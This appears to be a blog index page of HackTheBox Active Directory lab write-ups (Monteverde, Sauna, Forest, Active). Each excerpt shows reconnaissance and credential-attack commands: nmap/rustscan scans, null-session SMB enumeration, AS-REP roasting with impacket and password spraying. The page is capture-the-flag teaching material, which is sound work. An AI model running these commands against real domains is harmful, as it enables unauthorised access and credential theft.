HackTheBox: Monteverde

Enumeration 1 export target=10.129.50.93 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p53,88,135,139,389,464,636,445,5985,9389,49667,49674,49673,49676,49696 -T5 $target -oN nmap_monteverde SMB Try null session 1 nxc smb $target -u '' -p '' Get users 1 nxc smb $target -u '' -p '' --users Get shares 1 nxc smb $target -u '' -p '' --shares Try ASREP-Roasting 1 impacket-GetNPUsers MEGABANK.LOCAL/ -usersfile users.txt -no-pass -dc-ip $target -format hashcat -outputfile asrep_hashes.txt Password Spraying 1 nxc smb $target -u users.txt -p users.txt --continue-on-success One hit: ...

August 17, 2026 · 2 min · 235 words · burkocyigit

HackTheBox: Sauna

Enumeration 1 export target=10.129.95.180 Port Scanning 1 2 3 rustscan -a $target --ulimit 10000 -g 10.129.95.180 -> [53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49674,49673,49676,49688,49696] 1 nmap -Pn -n -sC -sV -p53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49674,49673,49676,49688,49696 -T5 $target -oN nmap_sauna Web Application (80) We have potential usernames? We can try to find Kerberos Pre-Authentication disabled users Create a wordlist Using the /about.html page, create a names.txt file with the format ‘Firstname Lastname’ Then using names.txt, generate a wordlist using username-anarchy: ...

August 16, 2026 · 2 min · 241 words · burkocyigit

HackTheBox: Forest

Enumeration 1 export target=10.129.48.132 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p53,135,139,445,593,636,3269,3268,5985,9389,464,389,47001,49666,49664,49665,49668,49671,49677,49676,49681,49698 -T5 $target -oN nmap_forest Domain Enumeration 1 enum4linux-ng -A $target We can enum users with nxc 1 nxc smb $target -u '' -p '' --users I’ve saved the usernames into users.txt Enumerate if any user can be AS-REP Roastable 1 impacket-GetNPUsers htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.48.132 -format hashcat ...

August 13, 2026 · 2 min · 312 words · burkocyigit

HackTheBox: Active

Enumeration 1 export target=10.129.47.148 Port Scanning 1 2 3 rustscan $target --ulimit 10000 -g 10.129.47.148 -> [53,88,135,139,389,445,593,636,3268,3269,5722,464,9389,49153,49152,49155,49154,49158,49157,49162,49166,49168] 1 nmap -Pn -sC -sV -n -p53,88,135,139,389,445,464,3268,3269,5722,9389,47001,49152,49154,49153,49155,49158,49157,49162,49166,49168 -T5 $target Looking at the open ports (53, 88, …) this is clearly a Domain Controller. SMB Shares 1 smbmap -H $target We can read the non-default Replication share with null authentication. Let’s read it with smbclient: 1 smbclient -N //$target/Replication Get all files: ...

August 10, 2026 · 2 min · 254 words · burkocyigit